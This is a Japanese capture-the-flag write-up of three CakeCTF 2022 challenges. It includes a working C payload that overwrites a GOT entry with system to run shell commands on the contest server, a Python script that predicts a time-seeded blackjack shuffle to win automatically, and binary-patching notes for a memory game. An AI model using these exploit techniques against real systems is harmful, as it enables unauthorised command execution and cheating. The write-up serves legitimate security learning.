$ python3 compiler.py Enter your C code (Type 'EOF' to quit input) #include <stdlib.h> int main(void) { long long int *x; x = 0x12345678; *x = system; puts("ls -la; cat f*"); return 0; } EOF [+] Generating bitcode... [+] Instrumenting... [+] Translating to assembly... [+] Compiling... [+] Running /tmp/516c5ec7be921c80dba93a013902f0d3.bin Segmentation fault $ gdb -q /tmp/516c5ec7be921c80dba93a013902f0d3.bin Reading symbols from /tmp/516c5ec7be921c80dba93a013902f0d3.bin... (No debugging symbols found in /tmp/516c5ec7be921c80dba93a013902f0d3.bin) (gdb) x/i puts 0x401030 <puts@plt>: jmpq *0x2fe2(%rip) # 0x404018 <puts@got.plt>
得られた情報を使って、先程のコードの 0x12345678
を 0x404018
に変えて投げるとフラグが得られた。
$ nc misc.2022.cakectf.com 10099 Enter your C code (Type 'EOF' to quit input) #include <stdlib.h> int main(void) { long long int *x; x = 0x404018; *x = system; puts("ls -la; cat f*"); return 0; } EOF [+] Generating bitcode... [+] Instrumenting... [+] Translating to assembly... [+] Compiling... [+] Running... total 168 drwxr-xr-x 1 root ctf 4096 Sep 1 14:55 . drwxr-xr-x 1 root root 4096 Sep 1 14:54 .. -r-xr-x--- 1 root ctf 43 Sep 1 13:25 .redir.sh -r-xr-x--- 1 root ctf 1852 Sep 1 13:25 compiler.py -r--r----- 1 root ctf 42 Sep 1 13:25 flag-0de0e34fe4e95ae2fcb8b185c009ba76.txt -r-xr-x--- 1 root ctf 150144 Sep 1 13:25 libCSandbox.so CakeCTF{briI1ng_yoO0ur_oO0wn_gaA4dgeE3t!}
CakeCTF{briI1ng_yoO0ur_oO0wn_gaA4dgeE3t!}
[cheat 196] matsushima3 (22 solves)
Are you a gambler?
添付ファイル: matsushima3_d9f7e86a2224cbdcf78335772d534c42.tar.gz
強制的にオールインさせられるブラックジャック。999999999999999ドルを稼ぐとフラグが得られる。勝利すると所持金が2倍になるから、要は約50回連続で勝つ必要がある。
サーバ側のソースコードを読んでいたところ、カードがゲームの開始時にシャッフルされ、またどうシャッフルされるかは現在時刻とユーザIDによるとわかった。ユーザIDはユーザ登録時に教えてくれるし、現在時刻は int(time.time())
と秒単位での取得になっているから予測がしやすそう。
@app.route('/game/new') def game_new(): """Create a new game""" if session['state'] == GameState.IN_PROGRESS: # Player tried to abort game session['state'] = GameState.PLAYER_CHEAT abort(400, "Cheat detected") # Shuffle cards deck = [(i // 13, i % 13) for i in range(4*13)] random.seed(int(time.time()) ^ session['user_id']) random.shuffle(deck) session['deck'] = deck # Create initial hand session['player_hand'] = [] session['dealer_hand'] = [] for i in range(2): session['player_hand'].append(session['deck'].pop()) session['dealer_hand'].append(session['deck'].pop()) session['player_score'] = calculate_score(session['player_hand']) session['dealer_score'] = calculate_score(session['dealer_hand']) # Return state session['state'] = GameState.IN_PROGRESS return jsonify({ 'player_hand': session['player_hand'], 'player_score': session['player_score'], 'num_dealer_cards': len(session['dealer_hand']) })
1秒ごとにデッキを予測して、勝てそうなときにゲームを開始するようにすればよさそう。以下は作りかけだったけどなんか通ったスクリプト。
# coding: utf-8 import copy import os import random import time import requests HOST = os.getenv("HOST", "localhost") PORT = os.getenv("PORT", 10011) BASE = f'http://{HOST}:{PORT}' def calculate_score(cards): """Calculate current total of cards""" num_ace = 0 score = 0 for _, c in cards: if c == 0: num_ace += 1 elif c < 10: score += c + 1 else: score += 10 while num_ace > 0: if 21 - score >= 10 + num_ace: score += 11 else: score += 1 num_ace -= 1 return -1 if score > 21 else score def guess(user_id): deck = [(i // 13, i % 13) for i in range(4*13)] random.seed(int(time.time()) ^ user_id) random.shuffle(deck) player_hand = [] dealer_hand = [] for i in range(2): player_hand.append(deck.pop()) dealer_hand.append(deck.pop()) return deck, player_hand, dealer_hand def think(user_id): deck, p, d = guess(user_id) # まずはスタンドする場合から deck_tmp = copy.deepcopy(deck) d_tmp = copy.deepcopy(d) next_card = deck_tmp.pop() d_score = calculate_score(d_tmp) while d_score <= 16: d_tmp.append(next_card) d_score = calculate_score(d_tmp) if d_score == -1: # ディーラーがバースト! スタンドすべき return [{'action': 'stand'}] next_card = deck_tmp.pop() if calculate_score(p) > d_score: # プレイヤーの勝ち。スタンドすべき return [{'action': 'stand'}] # ヒットする場合も deck_tmp = copy.deepcopy(deck) p_tmp = copy.deepcopy(p) d_tmp = copy.deepcopy(d) i = 1 while True: p_tmp.append(deck_tmp.pop()) if calculate_score(p_tmp) == -1: # プレイヤーがバースト。ヒットすべきでない break if calculate_score(d_tmp) <= 16: d_tmp.append(deck_tmp.pop()) d_score = calculate_score(d_tmp) if d_score == -1 or calculate_score(p_tmp) > d_score: # ディーラーがバースト or プレイヤーの勝ち。ヒットすべき print(p_tmp, calculate_score(p_tmp)) return [{'action': 'hit'} for _ in range(i)] i += 1 # まだその時期ではない s = requests.Session() r = s.get(f'{BASE}/user/new') user_id = r.json()['user_id'] while True: res = None while res is None: res = think(user_id) acts = res print(acts) s.get(f'{BASE}/game/new') for act in acts: r = s.get(f'{BASE}/game/act', params=act).json() print(act, r) if r['money'] == 0 or r['flag'] != '': break
実行するとフラグが得られた。
$ python3 solve.py … [{'action': 'stand'}] {'action': 'stand'} {'dealer_action': 'stand', 'dealer_hand': [[1, 4], [0, 6], [0, 11]], 'dealer_score': -1, 'flag': '', 'money': 109951162777600, 'num_dealer_cards': 3, 'player_hand': [[1, 6], [1, 2]], 'player_score': 10, 'state': 'win'} [{'action': 'stand'}] {'action': 'stand'} {'dealer_action': 'stand', 'dealer_hand': [[1, 4], [0, 6], [0, 11]], 'dealer_score': -1, 'flag': '', 'money': 219902325555200, 'num_dealer_cards': 3, 'player_hand': [[1, 6], [1, 2]], 'player_score': 10, 'state': 'win'} [{'action': 'stand'}] {'action': 'stand'} {'dealer_action': 'stand', 'dealer_hand': [[1, 4], [0, 6], [0, 11]], 'dealer_score': -1, 'flag': '', 'money': 439804651110400, 'num_dealer_cards': 3, 'player_hand': [[1, 6], [1, 2]], 'player_score': 10, 'state': 'win'} [{'action': 'stand'}] {'action': 'stand'} {'dealer_action': 'stand', 'dealer_hand': [[1, 4], [0, 6], [0, 11]], 'dealer_score': -1, 'flag': '', 'money': 879609302220800, 'num_dealer_cards': 3, 'player_hand': [[1, 6], [1, 2]], 'player_score': 10, 'state': 'win'} [{'action': 'stand'}] {'action': 'stand'} {'dealer_action': 'stand', 'dealer_hand': [[1, 4], [0, 6], [0, 11]], 'dealer_score': -1, 'flag': '"CakeCTF{INFAMOUS_LOGIC_BUG}"', 'money': 1759218604441600, 'num_dealer_cards': 3, 'player_hand': [[1, 6], [1, 2]], 'player_score': 10, 'state': 'flag'}
SECCON2018国内決勝大会の松島、InterKosenCTF 2020のmatsushima2に続く松島問(とは?)だった。
[cheat 289] Cake Memory (9 solves)
Welcome to Cake Memory.
This advanced memory and cognitive recognition test is designed to stimulate several segments of the brain, allowing us to see how quickly and efficiently your brain works.添付ファイル: cake_memory_ea3efda375fcdbbd010cfa03317cd292.tar.gz
赤、緑、黄みたいな感じで色が読み上げられつつ表示されるので、色と順番を覚えてその通りに下に表示されるボタンを押していくゲーム。最初は4色しかないし、覚える数も少ないから人間にもできるのだけれども、ラウンドを重ねるとどちらも多くなり、人間にはクリアできないようになってくる。
ヒントとして以下のようにソースコードの一部(Rust)が与えられていた。メモリ上に正解の色とその順番が探しやすい形で載っているから探してねということなんだろうけど、競技中には何を間違えていたのか見つけられなかった。@競技中の私 なんで?
// REDUCTED static SOUNDS: [SoundName; 24] = [ SoundName::VoiceBlue, SoundName::VoiceRed, SoundName::VoiceYellow, SoundName::VoiceGreen, SoundName::VoiceViolet, SoundName::VoiceOrange, SoundName::VoiceWhite, SoundName::VoiceJ, SoundName::VoiceHeart, SoundName::VoiceQuestion, SoundName::VoicePi, SoundName::VoiceSmiley, SoundName::VoiceOmega, SoundName::VoiceTurquoise, SoundName::VoiceTheta, SoundName::VoiceG, SoundName::VoiceKitten, SoundName::VoiceTangerine, SoundName::VoiceCake, SoundName::VoiceLambda, SoundName::VoiceBurgundy, SoundName::VoiceE, SoundName::VoiceCoquelicot, SoundName::VoiceFlag ]; // REDUCTED struct MusicalMemory { // REDUCTED mem_order: Vec<usize>, mem_sound: Vec<SoundName>, // REDUCTED } // REDUCTED fn draw(&mut self, ctx: &mut Context) -> GameResult<()> { // REDUCTED current = self.sound.get_mut(&self.mem_sound[ self.mem_order[self.show_count] ]); // REDUCTED } // REDUCTED
うさみみハリケーンの「実行速度調整」で GetTickCount
, Sleep
などの関数をまとめて対象としてやると、スピードハックができた。できたが、たとえ実行速度を遅くできたとしても、何十個もの色の順番をメモしてひとつも間違えずに入力する必要があるのは面倒だったから、選択肢となる色の種類や入力する必要のある色の個数を少なくできないかと考えた。
どうやって選択肢と色の個数を減らすか。リバースエンジニアリングだ。フリー版のIDAに投げて眺めていると、CAKE
や <3
といった文字列を見つけた。これらはラウンド3あたりで増える選択肢だが、sub_403E44
という関数から参照されているようだ。
sub_403E44
はめちゃくちゃ長い関数でとても読み切れる量ではないのだけれども、それでも出てくる数値や文字列などから、描画やタイマーの処理などをまとめた関数であることは読み取れる。たとえばここでは 10000
, 15000
, 20000
という数値が出てくるが、これらはタイマーの初期化処理っぽい。これをいじると制限時間が伸ばせる(はず)。
このあたりは何ラウンド目かによって選択肢の個数を選んでいそう。全部 mov r15d, 4
に変えると、何ラウンド目になっても選択肢が青、赤、黄、緑の4色のみになった。
このあたりは色の順番を保存する配列に関連していそう。全部 mov qword ptr [rax+28h], 6
みたいな感じの部分を 1
を代入するように変えてやると、ずっと同じ色が表示されるようになった。
これらのパッチを組み合わせて遊んだ様子を録画してみた。修正が甘くて、ラウンド3の最後で(選択肢が4色だけではあるけど)8個色を覚えなければならなかった。
CakeCTF{Do_you_have_Chromesthesia?}
ヒントからRust製であることを知って、前回のYoshi-Shogiと違って今回はリバースエンジニアリングせずに解くぞと思っていた。思っていたが、結局めんどくさくなってリバースエンジニアリングで解いた。公開されたソースコードを見たら芸術的だった。